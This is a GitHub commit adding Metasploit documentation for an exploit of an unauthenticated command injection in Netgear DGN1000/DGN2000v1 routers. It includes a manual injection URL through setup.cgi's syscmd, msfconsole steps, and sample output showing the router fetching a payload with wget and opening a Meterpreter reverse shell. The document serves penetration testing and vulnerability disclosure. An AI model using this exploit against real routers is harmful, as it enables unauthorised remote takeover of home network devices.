Skip to content

Commit e9fdb5b

Browse files
author
Austin
authored
Create netgear_dgn1000_unauth_setup_exec.md
1 parent 6f37bbb commit e9fdb5b

File tree

1 file changed

+48
-0
lines changed

1 file changed

+48
-0
lines changed
Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,48 @@
1+
The module netgear_dgn1000_setup_unauth_exec module exploits an unauthenticated OS command injection vulnerability in vulnerable Netgear DGN1000 with firmware versions up to `1.1.00.48` in addition to DGN2000v1 models, all firmware versions. The vulnerability occurs in within the `syscmd` fuction of the `setup.cgi` script to execute arbitrary commands. Manual exploitation could be completed through the browser, as for example : `http://<RouterIP>/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=echo+vulnerable&curpath=/&currentsetting.htm=1`. Such example will return "vulnerable" on the page. Vulnerable models have `wget` installed on `/usr/bin/wget` and can be leveraged to drop a MIPS Big Endian payload.
2+
3+
## Vulnerable Application
4+
5+
Netgear DGN1000 with firmware versions up to `1.1.00.48` and DGN2000v1 models
6+
7+
## Verification Steps
8+
9+
1. Start msfconsole
10+
2. Do : `use exploit/linux/http/netgear_dgn1000_setup_unauth_exec`
11+
3. Do : `set RHOST <RouterIP>`
12+
4. Do : `set PAYLOAD <payload>`
13+
5. Do : `run`
14+
6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
15+
16+
## Scenarious
17+
18+
Sample output of a successfull exploitation should be look like this :
19+
20+
```msf > use exploit/linux/http/netgear_dgn1000_setup_unauth_exec
21+
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RHOST 192.168.0.1
22+
RHOST => 192.168.0.1
23+
msf exploit(netgear_dgn1000_setup_unauth_exec) > set RPORT 80
24+
RPORT => 80
25+
msf exploit(netgear_dgn1000_setup_unauth_exec) > set LHOST eth0
26+
LHOST = eth0
27+
msf exploit(netgear_dgn1000_setup_unauth_exec) > set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp
28+
PAYLOAD => linux/mipsbe/meterpreter/reverse_tcp
29+
msf exploit(netgear_dgn1000_setup_unauth_exec) > run
30+
31+
[*] Started reverse TCP handler on 192.168.0.11:4444
32+
[*] 192.168.0.1:80 - Connecting to target...
33+
[*] 192.168.0.1:80 - Exploiting target ....
34+
[*] Using URL: http://0.0.0.0:8080/DnuJhOHYg7auIz
35+
[*] Local IP: http://192.168.0.11:8080/DnuJhOHYg7auIz
36+
[*] Client 192.168.0.1 (Wget) requested /DnuJhOHYg7auIz
37+
[*] Sending payload to 192.168.0.1 (Wget)
38+
[*] Sending stage (1073332 bytes) to 192.168.0.1
39+
[*] Meterpreter session 2 opened (192.168.0.11:4444 -> 192.168.0.1:51558) at 2017-10-20 20:37:06 -0400
40+
[*] Command Stager progress - 100.00% done (129/129 bytes)
41+
[*] Server stopped.
42+
43+
meterpreter > sysinfo
44+
Computer : 192.168.0.1
45+
OS : (Linux 2.6.20-Amazon_SE)
46+
Architecture : mips
47+
Meterpreter : mipsbe/linux
48+
meterpreter >

0 commit comments

Comments
 (0)